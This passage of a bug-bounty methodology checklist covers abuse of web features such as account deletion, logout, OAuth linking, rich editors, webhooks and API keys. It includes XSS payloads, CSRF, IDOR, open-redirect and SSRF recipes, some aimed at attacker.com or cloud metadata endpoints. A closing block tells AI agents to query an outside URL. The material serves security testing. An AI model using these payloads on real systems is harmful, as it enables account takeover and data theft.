* [ ] **Cross-account OTP verification:** Trigger the `VerifyPhoneNumber` operation from Account A, but submit the received OTP code using the session/token of Account B.
* [ ] **Force state rollback:** See if removing a connected third-party login (like Apple or Google) forces the application into a state where it asks you to re-verify or change your phone number.
* [ ] **Race conditions:** Send multiple simultaneous requests to the update or verification endpoints to see if you can bypass rate limits or state checks during execution.

***

</details>

<details>

<summary><strong>Check For OLD Mutations</strong></summary>

Always grab the introspection schema if it's enabled. Sometimes developers deprecate `SetPhoneNumber` but leave an older mutation like `AddMobileNumber` active in the background, which lacks any state restrictions entirely.

</details>

<details>

<summary><strong>Replay Attacks</strong></summary>

Bypass Disallowed Change Phone Number Feature When I created the account, I faced a function of 3 steps

1. Upload Profile Picture
2. Set Username
3. Set Phone Number and the Phone number in my profile later is not allowed to change it No "Change Button" Around it here as we can see !! So What do you think i did? Quickly, I ran into my burp requests history !! and I Inspected the full function of adding phone number !! Since the website is using "GraphQL" so the steps of adding phone number was containing 2 OperationNames
4. Adding: SetPhoneNumber
5. Verifying: VerifyPhoneNumber

By Changing the phone number in the first operation name, which is: `SetPhoneNumber` I received a 200 OK With a valid response!! & I received a verification code on the new number I added!!!

Then sent the code that I've received in the second OperationName, which was: `VerifyPhoneNumber` and It worked fine!! Totally fine!! Valid Response and the phone number changed now <3

</details>

### Account Deletion

<details>

<summary><strong>Lack of Password/Re-Authentication Confirmation</strong></summary>

* [ ] **Missing confirmation token:** Verify if the account deletion request (`POST /api/v1/delete-account`) can be executed *without* providing the user's current password or a freshly generated re-authentication token.
* [ ] [Lack of Password Confirmation for Account Deletion](https://hackerone.com/reports/950471)
* [ ] **Session reuse:** If a password *is* required, test if the backend accepts an expired or previously used re-authentication token, or if it accepts the standard session cookie without validating the password payload.
* [ ] **Password omission:** Try removing the `"password"` or `"current_password"` parameter entirely from the request body to see if the backend defaults to processing the deletion anyway.
* [ ] **Empty value submission:** Send the deletion request with the password parameter present but set to blank, `null`, `true`, or an empty array (`[]`).

</details>

<details>

<summary><strong>Cross-Site Request Forgery (CSRF) to Delete Account</strong></summary>

* [ ] **Analyze anti-CSRF tokens:** Check if the deletion request includes a CSRF token. If it does, try removing the token, sending a blank token, or altering its characters to see if it is strictly validated.
* [ ] **Token fixation / cross-session reuse:** Use a valid CSRF token from Account A (attacker) inside a request made by Account B (victim). If it works, the token is not tied to the specific user session.
* [ ] **Content-Type flipping:** If the deletion endpoint requires JSON (`Content-Type: application/json`) and validates CSRF, try changing the Content-Type to `application/x-www-form-urlencoded` or `text/plain` to see if the backend still processes it, allowing a standard HTML form exploitation.

</details>

<details>

<summary><strong>CORS misconfiguration</strong></summary>

* [ ] **CORS misconfiguration:** Check if the endpoint responds to cross-origin requests with `Access-Control-Allow-Origin: https://attacker.com` and `Access-Control-Allow-Credentials: true`.

</details>

<details>

<summary><strong>IDOR (Insecure Direct Object Reference) in Deletion</strong></summary>

* [ ] **Identifier substitution:** Locate the identifier in the deletion request (e.g., `DELETE /api/users/12345` or `{"user_id": 12345}`) and swap it with the ID of a victim account while authenticated as a low-privileged user.
* [ ] **Array/Batch deletion injection:** If the endpoint accepts an array of identifiers, try injecting other users' IDs alongside yours:

```json
{ "delete_ids": [12345, 67890] } 
```

* [ ] **UUID/GUID leaks:** If the application uses secure UUIDs, hunt for endpoints elsewhere in the application (like public profiles, comments, or team settings) where the victim's UUID is exposed, then feed that UUID into the deletion endpoint.
* [ ] **Parameter pollution:** Test if adding a second user ID parameter tricks the authorization layer into checking one ID but deleting the other:

```http
DELETE /api/account?id=my_id&id=victim_id
```

</details>

<details>

<summary><strong>Logical Flaws &#x26; Residual Data</strong></summary>

* [ ] **Soft-delete data leaks:** After deleting the account, try logging back in or requesting a password reset. If the account is only "soft-deleted" (hidden from the UI), check if its private API endpoints are still accessible.
* [ ] **Orphaned resources:** Check if deleting the primary user account leaves secondary resources active (e.g., cloud buckets, API keys, or active team invitations) that can still be controlled or accessed by the attacker.

</details>

<details>

<summary><strong>Previously Generated API Keys Still Usable after deleting the account</strong></summary>

</details>

### Logout Feature

<details>

<summary><strong>Server-Side Session Invalidation (The Replay Attack)</strong></summary>

* [ ] **Active session replay:** Capture a high-privilege state request (e.g., `/api/v1/settings`) in Burp Suite. Click logout in the browser, then replay the captured request from Burp Repeater. If it returns a `200 OK` with sensitive user data instead of `401 Unauthorized`, the session is still active on the server.
* [ ] **Token extraction from cookies:** Copy all session cookies (e.g., `session`, `JWT`, `auth_token`) before logging out. Log out, manually inject those copied cookies back into your browser storage, and refresh the page to see if you are logged back in.
* [ ] **Concurrent session termination:** Log into the account from two different browsers (Browser A and Browser B). Log out from Browser A. Check if Browser B is automatically logged out or if its session remains completely functional.
* [ ] **OAuth / OIDC token revocation:** If the app uses single sign-on (SSO), verify whether clicking logout actually invalidates the access/refresh tokens on the identity provider backend, or if it just deletes them locally from browser memory.

</details>

<details>

<summary><strong>Cross-Site Request Forgery (CSRF) on Logout</strong></summary>

* [ ] **Lack of CSRF tokens:** Inspect the logout request (whether it's a `GET /logout` link or a `POST /api/auth/logout` button). If there is no unique, unpredictable token validating the request, it is vulnerable to a forced logout attack.
* [ ] **GET method usage:** Check if the logout action can be triggered via a simple `GET` request. If an attacker can drop an image tag like `<img src="[https://target.com/logout](https://target.com/logout)">` onto a forum, any visiting user will be instantly logged out.
* [ ] **Token omission / alteration:** If a CSRF token *is* present in a logout `POST` request, remove it entirely or swap it with a random string. If the server logs you out anyway, the token validation is broken.
* [ ] **SameSite cookie laxity:** Verify if the session cookies lack the `SameSite=Strict` or `SameSite=Lax` attributes. If they are marked `SameSite=None`, cross-site attacks can easily leverage them to force logout state changes.

</details>

<details>

<summary><strong>Browser cache back-button exposure</strong></summary>

* [ ] **Browser cache back-button exposure:** Log out of the application, then immediately click the browser's "Back" arrow. Check if sensitive pages cached in the browser state are fully readable without re-authenticating.

</details>

### Account Linking

<details>

<summary><strong>Response &#x26; Status Manipulation (Client-Side Trust)</strong></summary>

* [ ] **Bypass password confirmation:** When linking a third-party account (Google, GitHub, Facebook), if the app requires a local password confirmation step, intercept the `401 Unauthorized` or `{"success":false}` response of a wrong password and rewrite it to match a successful `200 OK` or `{"success":true}` response.
* [ ] **HTTP status code flipping:** Force a failed validation response from a `400/401/403` status code to a `200 OK` using Burp Suite Proxy (Match and Replace or Intercept Response) to see if the UI unlocks the OAuth linking state.
* [ ] **Boolean / Step injection:** Look for client-side routing parameters in JSON responses like `"is_verified": false`, `"step": "password_check"`, or `"status": "failed"`. Mutate them to `"is_verified": true`, `"step": "oauth_redirect"`, or `"status": "success"`.
* [ ] [ATO Via Response Manipulation](https://hackerone.com/reports/1040373)

```html
1. Open a browser in which a user has previously logged into an account, but hasn't logged out.
2. Open another browser and login using your account
3. Try to link gmail using your account, it will prompt for a password confirmation, enter your password
4. Intercept the response and copy it
5. Go to the victims account and link to gmail again
6. This time enter any password and intercept response
7. Paste the copied response from the attacker account
```

</details>

<details>

<summary><strong>Cross-Account OAuth State Pre-Authentication (The Linking ATO)</strong></summary>

* [ ] **Pre-auth account linking:** Create an account via a third-party provider (e.g., Google). If the app allows you to link a traditional username/password to it later *without* verifying ownership of the original registration email, an attacker can pre-create accounts using a victim's email and wait for the victim to sign up.
* [ ] **Missing OAuth `state` parameter:** Check if the account linking initialization request (`/user/link/google`) includes a cryptographically secure, unpredictable `state` parameter. If it is missing or static, test for an Account Linking CSRF:

1. Initiate the link on your attacker account.
2. Intercept the final callback URL (`/oauth/callback?code=...`).
3. Drop the request and send that callback URL to a logged-in victim. If they click it, your attacker social account links to *their* application account.

</details>

<details>

<summary><strong>Identity Provider (IdP) Email Misalignment</strong></summary>

* [ ] **Dynamic email trust:** Test what happens when the email on your Google/GitHub account does not match the email on the application account. If the application blindly trusts the incoming OAuth payload (`email` field) without checking the unique provider account ID (`sub` or `id`), can you take over an account by changing your third-party account email to the victim's email?
* [ ] **Secondary email linking:** If the application allows adding multiple emails or third-party identities, verify if the app sends a verification link to the *newly added identity* before fully associating it with the profile.

</details>

<details>

<summary><strong>Race Conditions &#x26; Parameter Pollution</strong></summary>

* [ ] **Simultaneous multi-linking:** Fire concurrent requests using Burp Intruder (Null payloads, single-use connection pool) attempting to link a single Google account to two different application profiles simultaneously.
* [ ] **Array injection in account identifiers:** If the backend links accounts via an API call like `POST /api/account/link`, attempt to pass an array of accounts to see if multiple third-party accounts get mapped to a single user context:

```json
{ "identity_provider": "google", "provider_user_id": ["attacker_id", "victim_id"] }
```

</details>

### Social Media Links

<details>

<summary><strong>Unsafe handle of social media links on profile</strong></summary>

{% embed url="<https://hackerone.com/reports/2483422>" %}

</details>

<details>

<summary><strong>Change Username to Restricted PATH to Bypass Access Control to IDOR</strong></summary>

{% embed url="<https://x.com/Mohnad/status/1886451919276679282>" %}

</details>

### Commenting

<details>

<summary><strong>DOM Clobbering</strong></summary>

We can therefore cause the JavaScript references to return an empty object using the following technique:

```python
<img id="getElementById">
<img id="querySelector">
<img id="getElementByTagName">
```

Which now returns the following output in our console: Uncaught TypeError: `document.getElementById is not a function at ….`

assuming an application uses a BBcode tag to publish image:

```python
[img width="100" height="50"]<https://www.bbcode.org/images/lubeck_small\\.jpg\\[/img]>
Which is interpreted in the browser as follows:
<img width="100" height="50" src=”https://www.bbcode.org/images/lubeck_\\small.jpg”>

We can take advantage of DOM clobbering like this:
[img width="100" id=”getElementById” height="50"]<https://www.bbcode.org>\\/images/lubeck_small.jpg\\[/img]

We have now effectively clobbered the DOM in the web application, which may
result in the breakdown of functionality and in some cases cause the browser to
become unresponsive
```

</details>

<details>

<summary><strong>Markup Language? try</strong> <a href="https://medium.com/@iframe_h1/a-picture-that-steals-data-ff604ba1012"><strong>Create A picture that steals Data</strong></a></summary>

```python
Go to <https://iplogger.org/>
choose invisible image 
send the comment
```

</details>

<details>

<summary><strong>IDOR to Read any other's comments</strong></summary>

1. Search for any fields/forms that you cant see others comments
2. Analyze the traffic
3. change identifier to user B and u can see user b comments

</details>

<details>

<summary><strong>Race Condition</strong></summary>

1. Unlimited Comments on a thread
2. Suppose a user can comment only once, try race conditions here to see if multiple comments are possible.

</details>

<details>

<summary><strong>Privilege Escalation</strong></summary>

* Suppose there is an option: comment by the verified user (or some privileged user) try to tamper with various parameters in order to see if you can do this activity.

</details>

<details>

<summary><strong>Thread Comment Functionality Testing</strong></summary>

* [ ] Unlimited Comments on a thread
* [ ] Suppose a user can comment only once, try race conditions here to see if multiple comments are possible.
* [ ] Suppose there is an option: comment by the verified user (or some privileged user) try to tamper with various parameters in order to see if you can do this activity.
* [ ] Try posting comments impersonating some other users.

</details>

### CAPTCHA

<details>

<summary><strong>CAPTCHA Bypass</strong></summary>

* Captcha Bypass via response manipulation
* Do not send the parameter related to the captcha.
* Change from POST to GET or other HTTP Verbs
* Change to JSON or from JSON
* Send the captcha parameter empty.
* Check if the value of the captcha is in the source code of the page.
* Check if the value is inside a cookie.
* Try to use an old captcha value
* Check if you can use the same captcha value several times with the same or different sessionID.
* If the captcha consists on a mathematical operation try to automate the calculation.
* If the captcha consists of read characters from an image, check manually or with code how many images are being used and if only a few images are being used, detect them by MD5.
* Use an OCR <https://github.com/tesseract-ocr/tesseract>
* Online Services to bypass captchas Capsolver

</details>

### Newsletter

<details>

<summary><strong>IDOR</strong></summary>

* [ ] Changing the newsletter ID

</details>

<details>

<summary><strong>Excessive Data Exposure</strong></summary>

* [ ] Sometimes Server Leaks A lot of information in response

</details>

<details>

<summary><strong>CSRF</strong></summary>

* [ ] Subscribe/unsubscribe option

</details>

<details>

<summary><strong>Injection</strong></summary>

* [ ] SQL Injection in email parameter or other parameters
* [ ] XSS/HTML Injection

`https://testbuguser.myshopify.com/?contact[email]%20onfocus%3djavascript:alert(%27xss%27)%20autofocus%20a=a&form_type[a]aaa`

</details>

<details>

<summary><strong>Unverified User Can Post Newsletter</strong></summary>

{% embed url="<https://hackerone.com/reports/1691603>" %}

1. Sign up for an account on Linkedin
2. Without verifying the email, jump directly to the URL : `https://www.linkedin.com/post/new/` to write an article
3. It can be seen that there is no option to create a Newsletter.
4. Now Login into the account where the Email is verified and try to create a newsletter.
5. Click on Done and capture the vulnerable request and replay the request with the unverified user cookies. and the newsletter will be successfully created.

</details>

<details>

<summary><strong>BAC by Filling the form with other's email</strong></summary>

{% embed url="<https://hackerone.com/reports/145396>" %}

The mentioned URL contains a form that, when supplied correct user emails, unsubscribes users from the newsletters they're subscribed to. If the user is not subscribed, the form returns a message that says that the user is not subscribed if this is the case.

</details>

<details>

<summary><strong>No Rate Limit</strong></summary>

{% embed url="<https://hackerone.com/reports/145612>" %}

> The lack of a captcah or verificationcodeX (it's empty) in your phplist configuration allows attackers to use this mail for to send as much spam as they like to victims. I did not reach an email sending limit when I had tested this.

* [ ] No Captcha or Rate Limit Leads to Email Spam

</details>

<details>

<summary><strong>Host header injection/redirection via newsletter signup</strong></summary>

{% embed url="<https://hackerone.com/reports/229498>" %}

> There's a host header injection vulnerability via all newsletter signups in the referrer attribute. This works with all pages that have "Join our email list" signup boxes.
>
> **Since the referrer attribute can be changed to an outside domain the email being received redirects all links within the "Welcome to Starbucks" email. So in result the member is redirected to a malicious site from the email they used.**

</details>

### Product Review

<details>

<summary>Bypass "Verified Purchase" status</summary>

Analyze the request payload when submitting a review. Look for boolean flags or attributes such as `"is_verified": false`, `"purchased": false`, or `"status": "unverified"`.

Flip them to `true` or `"verified"` to see if your review receives the trusted badge without an actual purchase.

</details>

<details>

<summary>Out-of-bounds ratings (Scale manipulation)</summary>

Locate the numerical rating parameter (e.g., "rating": 5 or score=5). Attempt to pass values outside the intended 1–5 scale, such as 6, 0, -1, or extreme numbers like 99999 and -99999. Check if this breaks the global score calculation or causes database/UI rendering errors.

</details>

<details>

<summary>Review impersonation (IDOR)</summary>

Test if you can submit a review under another user's identity by tampering with parameters like user\_id, author\_id, or username inside the review creation payload.

</details>

<details>

<summary>Duplicate review submission</summary>

Attempt to post multiple reviews or ratings for a single product from the same account if the UI restricts you to only one.

</details>

<details>

<summary>Race condition on rating aggregation</summary>

Intercept the rating submission request and send multiple concurrent requests simultaneously using a single-use connection pool (e.g., Burp Suite's Turbo Intruder). Check if the application increments the total rating counter multiple times or skews the product's average rating logic unfairly.

</details>

<details>

<summary>CSRF on review posting</summary>

Check if the submission endpoint (POST /api/reviews) lacks anti-CSRF tokens or strict SameSite cookie protections. If vulnerable, an attacker could force authenticated victims to silently post spam reviews or malicious links.

</details>

<details>

<summary>Arbitrary file extension upload</summary>

If the review allows attaching photos or videos, try bypassing client-side validation to upload unauthorized extensions (e.g., .php, .jsp, .html, .svg, or .exe).

</details>

<details>

<summary>Content-Type &#x26; Magic Byte spoofing</summary>

Intercept the image upload request and change the Content-Type header (e.g., from image/jpeg to text/html) or append a malicious payload behind authentic image magic bytes to test for stored Cross-Site Scripting (XSS) or Remote Code Execution (RCE).

</details>

<details>

<summary>Client-side trust in price calculations</summary>

Inspect final state generation or quotation requests (like the /prepare\_offer endpoint) sent just before payment or signing. Look for fields calculated dynamically on the frontend, such as:

```json
{
  "customer_name": "John Doe",
  "yearly_rate": "3644",
  "is_young": false
}

```

</details>

<details>

<summary>Parameter alteration</summary>

Manually decrease numerical value parameters like `yearly_rate`, `total_price`, or `amount_due` to a lower value (e.g., "1") or a negative value to verify if the server signs and processes the updated offer blindly.

</details>

<details>

<summary>State flag tampering</summary>

Toggle risk-assessment parameters directly inside the request payload—such as changing `"is_young": true` to `false` or `"high_risk": true` to `false`—to artificially unlock lower premium rates or discounts

</details>

### Rich Editor

<details>

<summary>Tag &#x26; Bracket Evasion (Structural Deficiencies)</summary>

* [ ] **Malformed structural tags:** Test how the parser deals with unclosed or incorrectly nested tags that attempt to break out of paragraphs or divs:

```html
<</p>iframe src=javascript:alert()//
<</p>script>alert(1)</script>
```

* [ ] **Unknown/Custom HTML tags:** Introduce modern or custom HTML tags (e.g., `<xss id=x onfocus=alert(1) tabindex=1>`) to see if the sanitization filter only checks a strict blocklist of standard dangerous tags like `<script>` or `<iframe>`.

</details>

<details>

<summary>Built-In Link (<code>href</code>) Attribute Manipulation</summary>

* [ ] **Arbitrary protocol schemes:** Test if the link generation tool allows non-standard or custom protocols that might execute or leak data:

```html
<a href="aaa:bbb">x</a>
<a href="feed:javascript:alert(1)">x</a>
```

* [ ] **HTML entity encoding:** Attempt to obscure the `javascript:` pseudo-protocol using a mix of URL encoding, HTML entities, and structural tabs to trick string-matching filters:

```html
<a href="j%26Tab%3bavascript%26colon%3ba%26Tab%3blert()">x</a>
<a href="javascript&#x3a;alert(1)">Click Me</a>
```

* [ ] **Data URIs:** Inject base64-encoded HTML documents via the `data:` protocol scheme within links or buttons:

```html
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">Click Here</a>
```

</details>

<details>

<summary>Media Embed &#x26; Image Source Abuse</summary>

* [ ] **Broken source event handlers:** Insert standard media tags like images or videos, but explicitly break the source path to force the execution of error-handling attributes:

```html
<img src="invalid-image.jpg" onerror="alert(1)">
<video src="x" onerror="javascript:alert(1)"></video>
```

* [ ] **Vector Graphic (SVG) scripts:** Upload or embed an inline SVG payload containing embedded script tags or event handlers:

```html
<svg onload=alert(1)>
```

</details>

<details>

<summary>Hyperlink Injection &#x26; Content Spoofing</summary>

* [ ] **Phishing via Markdown/Hypertext:** Check if you can control the display text independently of the underlying destination URL to mask malicious routing completely:

```markdown
[Click on me to claim 100$ vouchers](https://evil.com)
```

* [ ] **Relative path hijacking:** If the application forces links to be relative, use directory traversal elements inside the link creation field to route users to unexpected application views or unauthenticated states:

```html
<a href="/../../logout">Click to view settings</a>
```

</details>

<details>

<summary>DOM-Based Mutation XSS (mXSS)</summary>

* [ ] **Context switching variations:** Submit inputs that look completely benign to the initial server-side validator, but turn into executable payloads once processed, rewritten, or optimized by the client-side JavaScript rendering engine (e.g., innerHTML normalization quirks):

```html
<article><script><img src="x" onerror="alert(1)"></script></article>
```

</details>

### Social Sharing

<details>

<summary>HTTP Parameter Pollution (HPP) &#x26; Link Hijacking</summary>

* [ ] **Parameter appending:** Locate a blog, article, or product page that contains social share buttons (Facebook, X/Twitter, LinkedIn, WhatsApp). Append URL parameters directly to the target page's URL to see if they are blindly passed into the share button's destination URL:

{% code overflow="wrap" %}

```http
https://target.com/blog-post?&u=https://attacker.com&text=Check+this+out:https://attacker.com
```

{% endcode %}

* [ ] **Duplicate parameter injection:** Supply duplicate parameters that match the internal sharing script names (e.g., `url`, `u`, `share_url`, `link`, `text`, `via`). Test how the backend parses them (e.g., whether it picks the first instance, the last instance, or concatenates them):

```http
https://target.com/share?url=https://target.com/valid&url=https://attacker.com
```

* [ ] **Override share metrics:** Check if you can pollute metadata parameters like `title`, `description`, `image`, or `thumbnail` to manipulate what appears in the preview card generated on social media platforms.

</details>

<details>

<summary>Open Redirect via Share Redirection Endpoints</summary>

* [ ] **Internal redirect wrapper manipulation:** Many applications use an internal tracking or routing endpoint before redirecting the user to the third-party social network (e.g., `https://target.com/redirect?to=facebook&url=...`). Test if you can change the `url` parameter to an external malicious domain to achieve a classic Open Redirect.
* [ ] **Path traversal inside share parameters:** Try using relative paths or directory traversal vectors inside the share URL parameter to see if you can force the internal share router to navigate to sensitive internal endpoints:

```http
https://target.com/share?url=/../../logout
```

</details>

<details>

<summary>JavaScript/DOM-Based Parameter Extraction</summary>

* [ ] **DOM parameter mining:** Inspect the page's client-side JavaScript. If the share buttons use `window.location.href` or `document.URL` dynamically to construct the share link, try injecting URL-encoded characters, hash fragments (`#`), or quotes to test for DOM-based Cross-Site Scripting (DOM XSS):

```http
https://target.com/post?utm_source="><script>alert(1)</script>
```

* [ ] **Hash character handling:** Test if appending an execution string or an alternate URL after a hash sign (`#`) gets parsed by the sharing script:

```http
https://target.com/post#url=https://attacker.com
```

</details>

<details>

<summary>Meta Tag Manipulation (SEO / Social Spoofing)</summary>

* [ ] **Open Graph (OG) & Twitter Card injection:** If the application generates custom share links based on user input on the page (e.g., a custom quiz result page or dashboard share link), check if your input reflects inside the `<meta property="og:url">` or `<meta property="og:image">` tags. If it does, you can spoof the platform card to show an authentic thumbnail but route users to a completely different destination.

</details>

### Addresses Management

<details>

<summary>IDOR: Cross-user creation (user_id injection)</summary>

* [ ] When saving a new billing or shipping address (`POST /api/addresses`), check if the payload contains an explicit ownership parameter such as `"user_id": 102`, `"account_num": "X"`, or `"customer_uuid"`. Swap your ID with a victim's ID to see if the address gets forcefully attached to their profile.

</details>

<details>

<summary>CSRF on address addition</summary>

* [ ] Inspect whether the address submission form uses anti-CSRF tokens. If missing or poorly validated, build a proof-of-concept (PoC) form that automatically submits a pre-filled address. If a victim visits your page, your attacker address gets added to their checkout options.

[#csrf](#csrf "mention")

</details>

<details>

<summary>IDOR in Editing &#x26; Deleting Addresses</summary>

* [ ] **Identifier substitution on update:** When modifying an existing address (`PUT /api/addresses/4451`), change the address ID in the URI path or the JSON body to a target address ID belonging to another user. Check if the modifications save successfully.
* [ ] **Identifier substitution on deletion:** Send a `DELETE` or `POST` request to the deletion endpoint (e.g., `/address/delete?id=4451`) using a victim's address ID. Look for a `200 OK` or `{"success": true}` response indicating the resource was deleted without verifying ownership.
* [ ] **Numeric vs. Non-numeric ID types:** If the application uses secure hashes or UUIDs for addresses, hunt for public endpoints (like invoices, order histories, or public profile details) where those specific address identifiers might leak.

</details>

<details>

<summary>Chained CSRF+IDOR to <strong>delete</strong> another user's address</summary>

If an endpoint is vulnerable to IDOR (lacks server-side authorization checks) *and* lacks anti-CSRF tokens, you can execute a zero-click attack:

1. Craft an exploit payload containing a victim's specific address ID.
2. Deliver the payload to the victim via a hidden HTML form or fetch script.
3. When the victim browser renders the page, it silently triggers the IDOR deletion using *their* active session state.

</details>

<details>

<summary>Chained CSRF+IDOR to <strong>edit</strong> another user's address</summary>

Identify an address edit endpoint missing both authorization tokens and state ownership validation. Deliver a CSRF script that updates a victim's billing address to an address controlled by the attacker.

</details>

<details>

<summary>Poisoning active checkout sessions</summary>

* [ ] If you successfully chain an IDOR/CSRF to edit a victim's billing address, check if the change dynamically updates an *already active* or open shopping cart checkout session. This can lead to financial profile mixing or rerouted shipments.

</details>

<details>

<summary>Response manipulation for default address selection</summary>

* [ ] Test if altering the server response properties—such as changing `"is_default": false` to `true`—forces the application UI to set an unauthorized address as the primary target for future billing transactions.

</details>

### Integrations - Webhook

<details>

<summary>SSRF in webhook simulation/testing features</summary>

* [ ] Look for "Test Webhook" or "Ping" buttons where the server sends a mock payload to a user-supplied URL. Try entering internal IP addresses (e.g., `http://127.0.0.1:80`, `http://169.254.169.254/latest/meta-data/` for cloud metadata endpoints) or local hostnames to map out internal infrastructure.

</details>

<details>

<summary>IDOR when editing webhook</summary>

* [ ] Intercept the update request (`PUT /api/webhooks/7712`). Change the webhook identifier to a target ID belonging to another project or organization to see if you can modify their webhook endpoint URL or secret token.

</details>

<details>

<summary>IDOR deleting webhook</summary>

* [ ] Send a deletion request (`DELETE /api/webhooks/7712`) using a victim's webhook identifier to verify if the server checks organizational boundary permissions before tearing down the resource.

</details>

<details>

<summary>CSRF in integration OAuth flows</summary>

* [ ] Initiate a third-party application connection (e.g., "Connect to Slack" or "Connect to Jira"). Intercept the final authorization callback request (`GET /auth/callback?code=AUTH_CODE&state=...`). Drop the request in your browser and strip out or reuse the `state` parameter. If you can force a victim to visit that callback URL and it links *your* third-party workspace to *their* platform account, the flow is vulnerable to OAuth CSRF.

</details>

<details>

<summary>Open Redirect via <code>redirect_uri</code> tampering</summary>

* [ ] When hitting the initial login or integration authorization endpoint (e.g., linking Google Calendar), locate the `redirect_uri` parameter. Attempt to modify its value to an external domain:

```http
GET /oauth/authorize?client_id=123&redirect_uri=https://attacker.com
```

If the authorization server redirects the user (and potentially leaks an authorization code or access token via referrer headers or URL fragments) to the external site, it is a critical validation failure.

</details>

<details>

<summary>Parameter pollution / Path traversal in OAuth routing</summary>

* [ ] Test if you can bypass strict whitelist matching on the `redirect_uri` by appending path traversal sequences or using parameter pollution:

```http
redirect_uri=https://target.com/oauth/callback/../../attacker-domain
```

</details>

<details>

<summary>Cross-Site Request Forgery (CSRF) in Webhook Setup</summary>

* [ ] **Unauthorized webhook insertion:** Check if the form used to register a new webhook destination (`POST /api/projects/15/webhooks`) lacks anti-CSRF token verification.
* [ ] **Exploitation via cross-site forms:** Build a silent HTML form payload that automatically targets the project’s webhook endpoint with an attacker-controlled listener URL (e.g., an Interactsh or Webhook.site address). If a project administrator visits your page, your webhook is silently added to their project, allowing you to intercept all future internal event logs, system updates, or PII transmitted by that webhook.

</details>

<details>

<summary>Webhook secret token exposure</summary>

* [ ] Verify if editing or viewing an existing webhook exposes the full authentication secret token or signature key in plain text within the API response body. Secure applications should mask these values (e.g., `sha256...xxxx`) after the initial creation phase.
* [ ] **Replay attack testing:** Capture a legitimate webhook event payload sent by the server. Attempt to replay it against the receiving endpoint multiple times without updating the timestamp or cryptographic signature headers to see if the implementation lacks replay protection metrics.

</details>

### API Key Management Feature

<details>

<summary>Authorization &#x26; IDOR Boundaries</summary>

* [ ] **Workspace/Organization ID substitution:** When requesting a list of API keys (`GET /api/v1/workspaces/109/apikeys`), change the workspace identifier to an unauthorized ID to see if you can leak the API keys or tokens of another organization.
* [ ] **Direct object reference on modification:** Intercept the request to update an API key's description or permissions (`PUT /api/v1/apikeys/7743`). Swap the key ID with one belonging to a different user or workspace.
* [ ] **Direct object reference on deletion:** Try sending a `DELETE` request directly to the API key resource endpoint (`DELETE /api/v1/apikeys/7743`) belonging to a victim to see if ownership validation is missing.

</details>

<details>

<summary>Cross-Site Request Forgery (CSRF)</summary>

* [ ] **1-Click API key deletion:** Inspect the deletion routine. If it lacks anti-CSRF tokens or depends on weak cookie configurations, craft an exploit payload that executes a background `POST`/`DELETE` request to delete a victim's API keys when they visit your site.
* [ ] **1-Click API key generation:** Test if an attacker can force a victim's browser to generate a new API key and look for ways the token might be exfiltrated (e.g., via a chained cross-origin tracking vulnerability or predictable creation sequences).

</details>

<details>

<summary>Vertical Privilege Escalation (RBAC Flaws)</summary>

* [ ] **Scoping restrictions:** Check if a lower-privileged user can generate an API key that inherits maximum administrative scopes (`Full Access` / `Root`) that their own user account does not possess.
* [ ] **Low-privileged role boundary testing:** Authenticate as a low-privileged user (e.g., Guest, Viewer, Member) within an organization. Attempt to read, create, edit, or delete API keys that should be restricted strictly to Owners or Administrators.

</details>

<details>

<summary>Key retention after role downgrade</summary>

* [ ] Follow this logic flow to check for token persistence bugs:

1. Create an API key while authenticated with an **Admin/Owner** account.
2. Have a separate administrator downgrade your account to a standard **Member** or **Guest** role.
3. Attempt to make administrative API calls using the old key you generated. If the key still executes administrative functions, the backend fails to dynamically sync key permissions with the creator's current role state.

</details>

<details>

<summary>Key retention after member removal</summary>

Generate an API key, then completely remove that user account from the workspace or organization. Test if the API key remains functional on the platform despite its creator no longer being a part of the workspace.

</details>

<details>

<summary>Revocation propagation delay</summary>

Delete an API key in the UI and immediately use it in an automated script. Check if there is a dangerous propagation delay or caching window where the deleted key remains active for minutes or hours.

</details>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://sec88.0x88.online/methodologies-checklists/features-abuse-checklist.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
